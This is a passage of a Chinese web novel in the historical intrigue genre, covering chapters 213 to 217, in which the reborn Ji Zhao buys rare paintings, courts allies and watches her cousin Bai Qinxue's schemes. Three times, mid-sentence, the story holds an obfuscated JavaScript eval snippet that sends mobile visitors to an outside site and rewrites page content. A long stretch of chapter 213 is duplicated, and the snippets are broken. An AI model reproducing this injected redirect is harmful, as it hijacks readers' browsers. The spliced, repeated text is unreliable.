纪昭提前来吟风棠搜集这位大师真迹,是因为前世她听了小弟纪蕴说过,吟风堂无意中收到了秋山居士好几本孤本,发了大财。 如今这大漏就明晃晃在眼前。 纪昭心里高兴,问价钱。 掌柜笑道:“其实秋山居士的东西虽然看着好,但意境太深奥了,价钱并不高。纪大小姐既然喜欢看着给就行。” 他说得很客气。实则书肆收罗这些不知名人士的孤本和画作很便宜。 通常都是因为听说某某位过世,然后几屋子的书籍和画由子侄或者后人用极其低廉的价给卖了。 吟风堂这一批也是这么来的。 纪昭自然是明白,不过她不会占便宜。 她笑道:“这样吧。总的我出五百两,秋山居士的笔墨我都买了。” 掌柜的吓了一大跳:“五百两!太多了,不敢不敢!” 他好几车的书画总的收来不过五十两不到,居然这点点就能卖五百两? 若是知名大师就算了,可这秋山居士不知名,且据说生前落魄,愤世嫉俗,名声也不算很好。 这…… 纪昭看出掌柜的疑虑,道:“掌柜的要是嫌多,那就留二百两你再替我收罗下秋山居士的书画吧。” 掌柜的满口答应。 这么好的生意不做就是傻子。 于是,掌柜的赶紧让店伙计找裱画师傅来参详一下,怎么把这些有些破损的书画都重新修复裱装。 纪昭在旁边参详。 秋山居士过世了,这些东西都算是孤本。要裱装起来就要做最好的。 以后拿去送人攀交情,或是拿去市面上卖,都能卖个好价钱。 掌柜的很少遇见如纪昭这般阔绰好说话的客人,于是热情帮忙参详。 “这是什么东西?” 嘉琪郡主的声音**来。 纪昭看了她一眼:“不值钱的玩意。” 嘉琪郡主自然是不相信的。她不但不相信,甚至还觉得纪昭就是故意贬损这些东西的价值。 “一定是价值连城的宝贝!”嘉琪郡主立刻掏出银票,“掌柜的,她买的东西我也要一份。” 掌柜:“……” 一份?! 纪昭心里忍不住翻了白眼:“你当这是酒楼?原样还能给你做一盘一样的?” 嘉琪郡主不学无术,面子却要的紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686715|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不能一模一样的,那就要这些东西。” 纪昭蹙眉:“我已经买了。” 掌柜的劝:“郡主,纪大小姐已经决定买了。她先要的,不好让给您。” 嘉琪郡主闹了起来:“她说要了就要了?你们书肆是怎么做生意的?我还没瞧见她给银子呢?没给银子就是还没落定,我出比她多一倍。” 她吵吵嚷嚷的,令几位书客侧目看过来。 纪昭只觉得头痛。 她使了个眼色,掌柜的立刻陪着笑:“郡主有所不知,纪大小姐买的这秋山居士的画作并不出名,我们书肆最好的是……” 他介绍起来。 奈何嘉琪郡主什么都不听,故意非要纪昭手里的这份。 纪昭怎么肯让她? 当下两人便对峙起来,互相不让。 纪昭并没有说话,只是悠然喝着茶,但手中按着秋山居士的孤本画作,态度坚定。嘉琪郡主在旁嚷嚷不停,着实呱噪。 终于,那位唤作琴筱的小姐看不下去,上前来调和。 她先行了一礼:“见过准王妃,小女姓卢,范阳卢氏,闺名琴筱。” 纪昭含笑:“卢小姐。” 卢琴筱:“郡主有得罪的地方,我代她道歉。这秋山居士的孤本画作是准王妃先拿到手的。我们不与准王妃争。” 嘉琪郡主:“琴筱……” 卢琴筱看了她一眼:“郡主,今日你是陪我出来挑文房四宝的。若是与人争执,错都在我身上。回去太后不会饶了我。” 也就不会饶了嘉琪郡主。 嘉琪郡主噤声了。 卢琴筱已经搬出太后来,她不敢不听。 卢琴筱对纪昭歉然笑了笑:“郡主年纪小不懂事,又被舅母宠坏了。我年长她一岁,我给准王妃赔罪。” 她说这话的时候,示意随行的侍女将刚才看中的文房四宝拿了过来。 纪昭张望了一眼,是极不错的徽州墨、还有一方很有意境的砚台。至于笔,是四支粗细不一的狼毫笔,还有一刀洒金宣纸。 很贵重。 面前的人很懂事,果然是世家嫡小姐。嘉琪郡主与之相比差的不是一星半点。 第213章 拉拢人脉 纪昭含笑:“卢小姐有心了,这礼不收也不好。” 她让晚秋收了,然后拿出秋山居士的一副《寒江秋鹤图》递了过去。 “秋山居士画鹤很有几分意境。刚好听说卢小姐是为了堂兄选礼物,想必卢小姐的堂兄必是卢子骞,今年刚屡职吏部是与不是?这画可以由卢小姐转送给家兄。名义上,便是卢小姐从我这儿挑的。” 一举两得,既能当做交换礼物,也能间接结交卢子骞这样有才华的人物。 前世卢子骞靠了才学和家世,一路做到三公之一的“司马”。 官很大,很有实权。 是权臣,和九千岁魏曹公分管外廷和内廷,鼎足而立。 纪昭愿意在这个时候下点功夫,先刷个好感。 卢琴筱惊奇:“准王妃知道我家堂兄?” 纪昭含笑:“略有耳闻,未曾见过。只听说他才学很好,去年是榜眼。” 卢琴筱点头:“家中对他期待很高,读书和才能也是最好的。” 她眼里有骄傲。 纪昭莞尔一笑。 这心情就和她知道大哥纪荣立功升官一样。世家大族能出人才的不少,但随着安逸日子越来越久,出人才的子弟凤**麟角。 所以卢子骞能上前三甲,对卢家来说是大喜之事。 卢琴筱所以才非要出来给堂哥买文房四宝。 纪昭与卢琴筱说着话,旁边的嘉琪郡主十分不耐烦,但又碍于卢琴筱的面子不敢再造次。 最后两人交换了名帖,含笑告辞。 …… 卢琴筱回到了府上,拿了买好的文房四宝到了堂哥卢子骞的院子“雅筑小居”。 卢子骞今年二十五,五官十分英气,因一双丹凤眼柔和了五官的硬朗,显出几分多情来。 不得不说,去年一届的前三甲长的都十分端正。 除了状元老了些,稳重了些,探花郎苏玉臣、榜眼卢子骞放在人堆里都是才貌双全的少年才俊。 卢子骞见堂妹来了,温和一笑:“又跑出去玩了?” 卢琴筱让丫鬟将礼物奉上去:“给哥哥买的文房四宝。这下可花了我一整年的体己银子呢。” 卢子骞:“你也不用非要送。那点体己银子留着做嫁妆。” “呸呸!别咒我。”卢琴筱瞪着堂哥:“我的嫁妆要是这么少,还不如找块豆腐一头撞死算了。” 卢子骞习惯了这个堂妹的古灵精怪,笑着打开文房四宝。 “好,挺好的。” 他惜字如金,也没有一下子移开目光。 卢琴筱便知道自己送对了一半。 她笑眯眯送上纪昭的礼物。 “这个哥哥瞧瞧,可喜欢?” 卢子骞随意打开,边说边笑:“这又是什么宝贝,值得你最后才拿出来……” 他的话陡然顿住,双眼紧紧盯着这副画。 画很苍凉,有种天地辽阔,无人能识君。这意境一下子击中了卢子骞的心思。 卢琴筱见堂哥的样子,顷刻明白这画是入了他的眼。 卢琴筱:“哥哥觉得这画怎么样?” 卢子骞拿着画仔细地看:“极不错的。你怎么想着拿一副画来送我?” 卢琴筱:“其实不是我送的,是一位你绝对想不到的人送我,然后她说你一定会喜欢,于是让我添给哥哥。” 卢子骞挑眉,很好奇:“哦?哪位?没听过你身边有哪位小姐如此有才学?” 卢琴筱笑了起来:“我身边的朋友堂哥难道都觉得不学无术?” 卢子骞笑了笑,并不说话。但态度便是一切,卢琴筱也知道自己身边交好的几位千金小姐都肚子里没有什么墨水。 特别是最近缠着自己的嘉琪郡主。 卢琴筱笑道:“这位千金小姐哥哥一定猜不到。我就不绕弯子了,是……” 她故意拖延着,看着卢子骞。 果然卢子骞微微蹙眉:“谁?” 卢琴筱笑了:“晋阳侯府的大小姐,纪昭。也是未来的睿亲王妃。” 卢子骞挑眉。 这倒是真的意想不到。 卢子骞沉吟:“这位准王妃倒是真的意料不到……” …… 纪昭回到了侯府中。侯府事很多,由不得她到处闲逛。 虞嬷嬷放了出去探听消息,晚意给她悄悄支了一百五十两银子。纪昭相信很快就能探到有用的消息。 大夫人和赵鸿畴之间的私情证据很难寻到。 前世纪昭也是在死后黄泉地狱,虚妄台里苦苦守了好几年才从她们私下口中探得一星半点的消息。 现 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她夸忠义伯爵府:“这忠义伯爵府的主母娘子是真的厚道,给的聘礼单子都是按着顶格给的。聘礼要射一对大雁大雁还没到时候,她都让人前来说。” “还有那茶,听说年前就买了。当时茶叶很贵,主母娘子让人买了两担,花了好多银子。” 纪昭边喝茶边听。 忠义伯爵府是钟鼎之家,礼仪严格,主母娘子做事的确是很周到。 纪璇静嫁入这种人家,虽有点拘谨,但胜在有规矩可依,以后日子也断不会出很大的岔子。 况且忠义伯爵府二公子活泼好动,因为不袭爵,所以听说要从武功上发展。 纪昭心中微微一动,突然明白了二夫人沈氏特地跑来与她说礼单的事为的是什么。 纪昭心中有了计较,笑着放下茶盏:“二公子要去射大雁啊?” 二夫人沈氏眼睛亮了亮,赶紧道:“是啊,不过现在还是夏日,要到初秋才能见到大雁。” 纪昭:“二公子的武功倒是不错。” 二夫人沈氏见话题顺利引上了忠义伯爵府的二公子,连忙笑道:“听说还不错。不过再好也不如睿亲王。” 纪昭笑了笑。 第213章 拉拢人脉 纪昭含笑:“卢小姐有心了,这礼不收也不好。” 她让晚秋收了,然后拿出秋山居士的一副《寒江秋鹤图》递了过去。 “秋山居士画鹤很有几分意境。刚好听说卢小姐是为了堂兄选礼物,想必卢小姐的堂兄必是卢子骞,今年刚屡职吏部是与不是?这画可以由卢小姐转送给家兄。名义上,便是卢小姐从我这儿挑的。” 一举两得,既能当做交换礼物,也能间接结交卢子骞这样有才华的人物。 前世卢子骞靠了才学和家世,一路做到三公之一的“司马”。 官很大,很有实权。 是权臣,和九千岁魏曹公分管外廷和内廷,鼎足而立。 纪昭愿意在这个时候下点功夫,先刷个好感。 卢琴筱惊奇:“准王妃知道我家堂兄?” 纪昭含笑:“略有耳闻,未曾见过。只听说他才学很好,去年是榜眼。” 卢琴筱点头:“家中对他期待很高,读书和才能也是最好的。” 她眼里有骄傲。 纪昭莞尔一笑。 这心情就和她知道大哥纪荣立功升官一样。世家大族能出人才的不少,但随着安逸日子越来越久,出人才的子弟凤**麟角。 所以卢子骞能上前三甲,对卢家来说是大喜之事。 卢琴筱所以才非要出来给堂哥买文房四宝。 纪昭与卢琴筱说着话,旁边的嘉琪郡主十分不耐烦,但又碍于卢琴筱的面子不敢再造次。 最后两人交换了名帖,含笑告辞。 …… 卢琴筱回到了府上,拿了买好的文房四宝到了堂哥卢子骞的院子“雅筑小居”。 卢子骞今年二十五,五官十分英气,因一双丹凤眼柔和了五官的硬朗,显出几分多情来。 不得不说,去年一届的前三甲长的都十分端正。 除了状元老了些,稳重了些,探花郎苏玉臣、榜眼卢子骞放在人堆里都是才貌双全的少年才俊。 卢子骞见堂妹来了,温和一笑:“又跑出去玩了?” 卢琴筱让丫鬟将礼物奉上去:“给哥哥买的文房四宝。这下可花了我一整年的体己银子呢。” 卢子骞:“你也不用非要送。那点体己银子留着做嫁妆。” “呸呸!别咒我。”卢琴筱瞪着堂哥:“我的嫁妆要是这么少,还不如找块豆腐一头撞死算了。” 卢子骞习惯了这个堂妹的古灵精怪,笑着打开文房四宝。 “好,挺好的。” 他惜字如金,也没有一下子移开目光。 卢琴筱便知道自己送对了一半。 她笑眯眯送上纪昭的礼物。 “这个哥哥瞧瞧,可喜欢?” 卢子骞随意打开,边说边笑:“这又是什么宝贝,值得你最后才拿出来……” 他的话陡然顿住,双眼紧紧盯着这副画。 画很苍凉,有种天地辽阔,无人能识君。这意境一下子击中了卢子骞的心思。 卢琴筱见堂哥的样子,顷刻明白这画是入了他的眼。 卢琴筱:“哥哥觉得这画怎么样?” 卢子骞拿着画仔细地看:“极不错的。你怎么想着拿一副画来送我?” 卢琴筱:“其实不是我送的,是一位你绝对想不到的人送我,然后她说你一定会喜欢,于是让我添给哥哥。” 卢子骞挑眉,很好奇:“哦?哪位?没听过你身边有哪位小姐如此有才学?” 卢琴筱笑了起来:“我身边的朋友堂哥难道都觉得不学无术?” 卢子骞笑了笑,并不说话。但态度便是一切,卢琴筱也知道自己身边交好的几位千金小姐都肚子里没有什么墨水。 特别是最近缠着自己的嘉琪郡主。 卢琴筱笑道:“这位千金小姐哥哥一定猜不到。我就不绕弯子了,是……” 她故意拖延着,看着卢子骞。 果然卢子骞微微蹙眉:“谁?” 卢琴筱笑了:“晋阳侯府的大小姐,纪昭。也是未来的睿亲王妃。” 卢子骞挑眉。 这倒是真的意想不到。 卢子骞沉吟:“这位准王妃倒是真的意料不到……” …… 纪昭回到了侯府中。侯府事很多,由不得她到处闲逛。 虞嬷嬷放了出去探听消息,晚意给她悄悄支了一百五十两银子。纪昭相信很快就能探到有用的消息。 大夫人和赵鸿畴之间的私情证据很难寻到。 前世纪昭也是在死后黄泉地狱,虚妄台里苦苦守了好几年才从她们私下口中探得一星半点的消息。 现 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她夸忠义伯爵府:“这忠义伯爵府的主母娘子是真的厚道,给的聘礼单子都是按着顶格给的。聘礼要射一对大雁大雁还没到时候,她都让人前来说。” “还有那茶,听说年前就买了。当时茶叶很贵,主母娘子让人买了两担,花了好多银子。” 纪昭边喝茶边听。 忠义伯爵府是钟鼎之家,礼仪严格,主母娘子做事的确是很周到。 纪璇静嫁入这种人家,虽有点拘谨,但胜在有规矩可依,以后日子也断不会出很大的岔子。 况且忠义伯爵府二公子活泼好动,因为不袭爵,所以听说要从武功上发展。 纪昭心中微微一动,突然明白了二夫人沈氏特地跑来与她说礼单的事为的是什么。 纪昭心中有了计较,笑着放下茶盏:“二公子要去射大雁啊?” 二夫人沈氏眼睛亮了亮,赶紧道:“是啊,不过现在还是夏日,要到初秋才能见到大雁。” 纪昭:“二公子的武功倒是不错。” 二夫人沈氏见话题顺利引上了忠义伯爵府的二公子,连忙笑道:“听说还不错。不过再好也不如睿亲王。” 纪昭笑了笑。 第214章 白沁雪要行动 纪昭摇了摇团扇:“说起来二公子的年纪很小,以后若是勤练武还是不错的。”、二夫人沈氏陪着笑。 纪昭笑道:“听说王爷也还没射雁,我让人打听下,要不一起?” 二夫人沈氏笑得满脸开花:“这,这可就麻烦了大姑娘去与王爷说一声了。” 纪昭见点到了题,便也不在和二夫人沈氏打哑谜。 关于纪璇静的陪嫁单子上,二夫人沈氏是想让纪昭出第一担。 原因是等纪璇静成婚之时,纪昭应该已是睿亲王妃。 堂姐是睿亲王妃,还亲自赐了第一担,对二房来说是极大的荣耀。 纪昭想了想,笑道:“由我名头做第一担是可以,不过也不算最好。”」 二夫人沈氏眼皮子一跳:“那……” 纪昭道:“可以让皇后娘娘赐一柄玉如意。这样也算是给忠义伯爵府体面。” 二夫人沈氏听了,极其高兴。 她求的是一,还没把握纪昭愿不愿意,没想到纪昭竟然给了二,还是顶好的。 此事就这么商议下来。 纪昭问起沁芳阁的日常。 二夫人沈氏:“这些日子表小姐很是规矩,大门不出二门不迈的。我让人送东西时,瞧见她在做绣活,画画。” 纪昭微微蹙眉。 白沁雪太淡定了,很不寻常。 大夫人还在佛堂受罚呢。她如此淡定,不像是认命了的。 二夫人沈氏仔细瞧着纪昭的脸色,安慰:“大姑娘不要担心。表小姐如今得了教训,不会再做什么事了。” 纪昭笑道:“我不担心她。只是如今大夫人在佛堂,她竟没闹着去瞧大夫人。” 二夫人沈氏撇嘴:“不是我背后说闲话,表小姐是有几分眼色在的。不会在这个节骨眼上去找晦气。” 纪昭与二夫人沈氏又闲话几句,送了她离开紫棠院。 她招来春翠。 春翠却是另一番话:“我问了春兰,这几日表小姐让沁芳阁的丫鬟们改了几套裙子,又绣了几件褙子,闲时就精心打扮,好像准备见什么人。” 纪昭挑眉:“有打听到她要见什么人?” 春翠摇头:“这个春兰也不知道。不过看表小姐的样子,应该是这几日。” 纪昭蹙眉。 这倒是猜不出来了。?0?2过了两日,暑气越发重了。沁芳阁那边来讨冰块。纪昭没想在这个上为难白沁雪,便让人从冰窖里面取了给了。 给了河冰,也给了人能用的冰,各两大块。 到了第二日,却没想到沁芳阁的芳菲哭着来找老夫人。 芳菲:“老夫人不好了,表小姐昨儿用了冰后上吐下泻的,闹了一整宿,一大早就昏厥了过去。” 老夫人被吓了一跳:“怎么好好的就上吐下泻了?” 二夫人沈氏管家的,听到这话又气又急:“你这意思是给的冰不对?还是被人动了手脚?” 芳菲急忙道:“不是,不是。是昨儿冰到了,但服侍的翠儿认错了,用河冰做了酸梅汤,结果表小姐吃了后就不好了。” 她磕头:“求老夫人,二夫人慈悲,给表小姐请个大夫瞧瞧。” 二夫人听了说不是自己给的冰有问题,顿时放了心。 于是她道:“找大夫这事还不简单,既然是昨夜发作的,就该昨夜来报我。我让人去找便是,非要拖到了今早。万一出了什么差错岂不是来不及了?” 二夫人沈氏说完,便让小厮去寻大夫。 纪昭留了个心眼,对芳菲:“我院中的瑾娘也略懂医理。先让她过去看看。” 芳菲应了,匆匆离去。?0?2纪昭回到紫棠院,瑾娘也看诊回来。 纪昭:“怎么样?” 瑾娘:“的确是吃坏了肚子。不过我去看河冰,十分浑浊,不至于就认错了冰。” 河冰可以用来消暑降温,用的是河水。日常用作冰镇入口的冰一般是煮沸或过滤后的井水做的冰,或者是泉水做的。 这点浅显道理谁都懂。沁芳阁的丫鬟们用错了,倒是稀奇。 纪昭:“让人再盯牢点。事出反常必有妖,要摸清她想做什么。” 瑾娘点头:“这两日我有空,可以去看看她病情。她也赶不走我。” 纪昭却摇头:“你看一 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听闻她来了,纪昭心里咯噔一下。二少夫人阮氏自从有孕之后一直低调养胎,而二哥纪蓉断腿后一直养着,养好了大半后就出去喝酒。 纪蓉沉迷在温柔乡里,对老大纪荣成为侯世子也不关心了。 所以一房就奇怪地安静了许久。 二少夫人阮氏此时怀胎快四个月,小腹微凸,人也圆润了不少。」 她走过来,额头上冒出细密的汗。 纪昭急忙让人扶着她靠在罗汉床上,还让人拿了锦墩垫着。 纪昭:“二嫂有什么事非要自己亲自来?小心动了胎气。” 阮氏擦了擦汗,又扇了扇,这才道:“你二哥这两日出去见了人。” 纪昭眉心一跳:“谁?” 阮氏看了看屋子没外人,低声说:“就是你说的陈昊。我派去跟着的人说了,他这两日见了姓陈的,还偷偷与表小姐递了消息。” 第215章 给二嫂吃定心丸 原来如此。 难怪白沁雪突然上吐下泻,折腾生病了。 她铁定是要寻个什么法子再作妖了。 纪昭:“二嫂好好养着胎。这事就不要再管了,我会派人盯着。” 阮氏欲言又止。 纪昭问:“二嫂有什么顾虑?” 阮氏苦笑:“我知道你二哥太过荒唐,对你也做过坏事。不过他现如今袭爵无希望,我只希望……罢了。” 她自嘲一笑:“我终归是想太多了,还没到那一步。” 纪昭明白阮氏的顾虑。 从前二哥纪蓉是有希望袭爵的——只要老大愿意让出爵位就行。当时大夫人在府中势力如日中天,晋阳侯又偏宠大夫人和老二纪蓉。 那时候没人怀疑二公子纪蓉不能继承纪家家业。 但不到半年,侯府形势急转直下——大夫人犯了大错,大公子纪荣立功高升,而纪昭又被赐婚,身份尊贵,她站的是大房这一支。 所以阮氏现在为自己这一房将来担心。 兄弟阋墙的惨剧她在话本上看过,戏文里听过,如今才若是纪蓉再走错一步,也许在府中立足之地都没有。 纪蓉糊涂,阮氏不敢跟着犯糊涂。 因为她现在怀了孩子。 纪昭:“二嫂今日得我一句话:不管二哥将来如何,侯府二少夫人的位置你会坐得稳,属于二房的东西将来只会多不会少。因为大哥不会和二哥争,我也不会。” 阮氏缓缓松了口气:“我不是这个意思,但是我有了孩子……” 她顿了顿,最后说:“谢谢大姑娘。” 阮氏悄悄回去了。 文奶娘:“二少夫人也是心酸。二公子不成器,她还得为腹中的孩子博点前程。” 纪昭:“孕中多思多虑,我得给她打白了说清楚,免得她胡思乱想。有她在,二哥翻不出天去。” 她神色若有所思。 过了一会儿,春翠被唤了过来。 春翠一脸汗,应该是从外面刚回来。 她:“正想找大小姐。表小姐那边有动作了。她偷换了女大夫的衣衫,带着春兰偷偷出府了。” 纪昭蹙眉:“她怎么会带着春兰?这么相信春兰吗?” 春翠:“是无奈之举。表小姐身边拢共就两个贴身丫鬟,一个芳菲,一个春兰,别的要么胆小不顶事,要么就是愚笨了些。” 纪昭这才道:“那就好。” 春翠眼睛亮晶晶的:“表小姐肯动弹,是不是就有把柄抓住她了?” 纪昭:“是也不是。看她究竟要做什么。” 春翠:“最好她赶紧犯个大错,春兰就能回来了。” 她说完顿觉得自己说错了话,赶紧跪下:“奴婢说错了。春兰与奴婢是愿意把命给大小姐的,只是我担心姐姐了些。” 纪昭扶起她:“这是人之常情,我也担心春兰。她在虎狼窝里待着是为了我做事。我会记得她的功劳,也会护她安全的。” 春翠见纪昭没怪罪的意思,自告奋勇又去打探消息了。 纪昭继续看礼单,账册。 每逢大事有静气。 再活一回,她踏实很多,耐心渐长,更沉得住气了。 只要沉得住气,敌人就会忍不住犯了错。 …… 白沁雪回到了沁芳阁中,心还在砰砰跳着。 她很少主动出击做些什么事。性格令她一直是背后撺掇得好处的那人。 从前是养自己的白氏夫妇,他们粗鄙贪财,虽生活上苛待她不少,但却也造就了白沁雪这份善于利用旁人的心思。 而后是大夫人、梁毅、二公子纪蓉,侯府中的一干人。 可现在周围能用的人都获罪的获罪,倒霉的倒霉,她只能自己出去。 春兰端了水进来,悄声说:“表小姐喝点茶吧。” 白沁雪接过茶盏,仔细瞧着春兰,良久不语。 春兰被她瞧得心头发毛,问:“是茶太烫了吗?要不奴婢去换一盏来。” 白沁雪慢慢抿了一口:“春兰说真的,平日见你温吞吞的,没想到你还有几分机灵。今日要不是你,我都出不去院子。” 春兰赔笑:“那是表小姐平日教导的好。” 白沁雪上下又打量春兰一眼:“你今年几岁了?” 春兰心中一突:“奴婢今年十四了。” 白沁雪点头:“比我大一岁了。” 春兰小心翼翼问:“表小姐,是不是奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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芳菲打岔:“表小姐不是看中了她的绣活儿吗?只要用她绣活儿就好了,其他的不要让她担大任。” 芳菲这么说是怕春兰抢了她前头去。 白沁雪:“我自然是不会让她担大任。就是有点想用一用她……” 芳菲问:“怎么用?” 白沁雪声音压了低了,窸窸窣窣地不知道和芳菲说什么。 春兰凑近想听却没提防脚下踩了根枯树枝。 “谁?!” 窗户被打开,白沁雪喝道:“快去瞧瞧是不是有人?” 第216章 计策已定 窗户打开,灯照了出去。 外面黑黝黝的,只有一只野猫跳到了墙头。 白沁雪放了心:“是野猫。关紧窗子。” 窗户关上,躲在暗处的春兰悄悄地回了屋子。 …… 纪昭接到口信时,眉心蹙紧。 春兰要有难了。 若是这个时候将她调出侯府,或是寻个借口要了回来紫棠院,她定会安全无忧。但这样一来,先前做的准备就全盘浪费了。 春翠:“大小姐,春兰说了让大小姐依计行事,她会保护好自己的。” 纪昭眉心还是拧着:“你与她说,若是觉得危险扭头就跑,别的不要顾。” 春翠摇头:“春兰说她不怕。我也不怕。” 小小年纪的春翠满脸坚定。 纪昭当然知道她不怕。 前世春兰遭了毒手自尽后,是春翠揣着一把杀猪刀要去杀了白沁雪。 这丫头,勇猛得让人喜欢。 纪昭含笑:“你放心。既然我设下这一步棋,就不会让你姐妹两人都遭了难。” 春翠疑惑,怎么扯上了她? 难道她也会遭了难? 纪昭吩咐了春翠几句,让她回去。 又唤来瑾娘,如此这般说了。 这些日子瑾娘在纪昭身边,一边为她推血过宫化解身体淤血堵积,一边对她传授内功运转心法。 算起来,瑾娘对纪昭来说已经是半师半医的关系。 纪昭:“春兰会被白沁雪设计,不过我们也可以将计就计,拔掉白沁雪和二公子在外的一条腿。” 瑾娘不知道前后因果关系,但听了纪昭的话便知道她要做什么。 “你放心。我有功夫在身,发动的时候我会悄悄守着春兰,不让她受伤。” 纪昭点头:“这都靠瑾娘了。” 瑾娘:“大小姐尽管放心去做。有些事不要拘束在道义上。春兰和春翠的命是你救的,如果在战场上,她们本就应该为你效死。大小姐如果顾虑太多,以后成不了什么大事。” 纪昭愕然后随即笑了:“是这个道理。” 相处这么久,瑾娘看出纪昭并不是一门心思要做什么尊荣的睿王妃,而是志在沙场,建功立业。 瑾娘这么忠心跟着她,是将纪昭当做未来女主帅看的。 她在劝纪昭不要有妇人之仁。 于是计策定了下来。 …… 纪蓉这几日浑身难受,身上如蚂蚁爬似的,坐立不安。 自从他偷偷服用仙人散被晋阳侯知道后,不但断了来源。还被晋阳侯将他丢入祠堂悄悄戒了一段时间。 所以这些日子他被人寸步不离盯着,身上不舒服又没钱。 好不容易戒了后,身边人盯着松泛了些,他去找那心心念念女子时,又因为身上没钱而被拒之门外。 情路受挫,原本能袭爵的路也彻底断了。 大公子纪荣又是升官,又是袭爵,纪蓉嫉妒得眼都要滴血。 可他不敢说话。 因为大夫人还被圈在佛堂受罚,白沁雪也被变相软禁在沁芳阁中修身养性。 侯府中原本是大夫人心腹的人也几乎全被清走了。 纪蓉怀疑,自己原本也是要被重罚的,毕竟私放印子钱他也有份。至于为什么没被罚,估摸着是晋阳侯最终还是偏心保住了自己。 纪蓉心里嘀咕着。 但他想错的是,之所以还留着他不罚,完全是因为阮氏和她腹中的孩子。 阮氏在养胎,心情不能受波动,未出世的孩子也不能有一个名声受损的爹。 这就是晋阳侯和纪昭不约而同的默契——私放印子钱的事上放过了纪蓉,只冷着他。 纪蓉在床上翻了个身,想起自己的窘境烦的不行。 此时他身边的小厮悄悄进来,递了张密封的信。 纪蓉急忙翻身坐起,一目十行看了。 他脸上露出高兴神气:“潇潇姑娘愿意见我了?” 小厮点了点头:“是陈公子出了一笔银子,妈妈才愿意让潇潇姑娘出来见。” 小厮又拿出一个包好的汗巾:“这是信物。约了时辰……” 他低声说了。 纪蓉一扫面上的郁色,拍了拍小厮的肩:“你个小子,消息还分两次说。该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708984|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死!该死!” 虽说着该死,但脸上是笑着的。 小厮笑眯眯的:“不过陈公子说要一个人……” 他与纪蓉低语了几句。 纪蓉皱眉:“这事……能行吗?” 小厮:“能行的,表小姐也是愿意的……就……” 主仆两人窃窃私语好一阵子,小厮拿了赏银这才出了屋子。 小厮刚出了屋子,迎面就差点撞上从旁边走来的阮氏。 嬷嬷推了小厮一把,骂道:“小处生,没长眼睛啊!仔细撞了奶奶!奶奶肚子里怀的可是小少爷。” 小厮一抬眼看见是阮氏,吓了一跳赶紧跪下来求饶。 阮氏眸色幽幽瞧着他:“今日你来与二公子说什么话?” 小厮支支吾吾:“没,就是二爷有几位好友问他身子爽利了没?说要引荐一位长官。” 阮氏突然笑了笑:“那闲散差事都被裁了,还要巴结什么长官吗?” 年前纪蓉花了大价钱捐来的闲散京官,才上任一二个月就因为被睿亲王在祠堂打断了腿,没法再去当值,晋阳侯亲自去自请裁撤了。 小厮吓了一跳,知道自己扯谎扯错了,急忙找补:“不不,是二爷的好友说要喝酒……” 阮氏点头:“也就这种没出息的事才会找他。你回去吧。” 小厮松了一大口气,赶紧跑了。 嬷嬷皱着眉瞧着这小厮惊慌失措离去的样子,咬着牙:“二爷就是被这种人带坏的,二少奶奶怎么不把他抓起来打一顿?” 阮氏似笑非笑:“打一顿就能阻得了二爷出去喝酒寻欢不成?要让二爷不出门,除非睿亲王再亲自打断他两条腿一次。” 嬷嬷和丫鬟们听了都吓一跳:“可别,这断腿才刚好,幸好没落下什么残疾,要是落了腿疾那以后可怎么办?” 阮氏冷笑:“睿亲王残着一条腿是常年征战,为国为民受了重伤。他是大英雄,大人物,是要被百姓立生祠的陆地仙人。 再瞧瞧二爷断了两条腿是因为要残害自己的亲妹妹。按我说,断的少了,中间那条早晚也得断了才算干净。” 嬷嬷:“……” 第217章 侯府二房定亲宴(一) 阮氏说得很恶毒,甚至带着诅咒意味。 身边的人都面面相觑,不敢吭声。 二少夫人阮氏一向爱重二公子纪蓉。二人年少夫妻,又是议亲时相看对上眼的。这种原配情分自然是深的。 况且新婚才三四年,夫妻情意还在。 可没想到现在夫妻居然有了嫌隙。 左右婆子丫鬟不敢吭声,阮氏见她们的面色,心里冷笑一声,对眼下这情况越发心灰意冷。 婆子丫鬟有大半数是她嫁入纪府时大夫人给配的,算不上太忠心,毕竟拿的月例还是纪府出的。 所以阮氏无论是对纪蓉愤怒还是伤心,还是诅咒,她们只会装作瞧不见。 阮氏突然下定了某种决心。 这种钝刀子割肉的日子她是一天都过不下去了。 必须做个了结。 趁着纪昭这大姑子要对付纪蓉的好时候,来个狠一点的。 想着,阮氏振作精神,扶着小腹慢慢走进了屋子。 纪蓉躺在床上想着另一个女人,脸上浮起傻笑。阮氏见他这个样子就知道他心里想着什么。 阮氏温柔问:“方才我瞧见小厮来了,是友人喊二爷出去喝茶吗?” 纪蓉含含糊糊:“是多年不见的好友来京城了,叫做余东城。你放心,我不去。” 阮氏笑了笑:“怎么不喊这位余公子来家中做客?” 纪蓉:“这个……与他不太相熟,就不去了。去了我得做东。最近手头紧得很。” 阮氏见他脸上有不耐烦的神色,叹了口气:“二爷这几日委实在府中憋闷了点。妾也不是非要二爷天天在家中浪费光阴,实在是前些日子二爷惹了公爹生气,婆母也在佛堂修行,若二爷贸然出府喝酒,那可不太好。” 纪蓉不耐烦:“这道理我知道,你就不要唠叨了。” 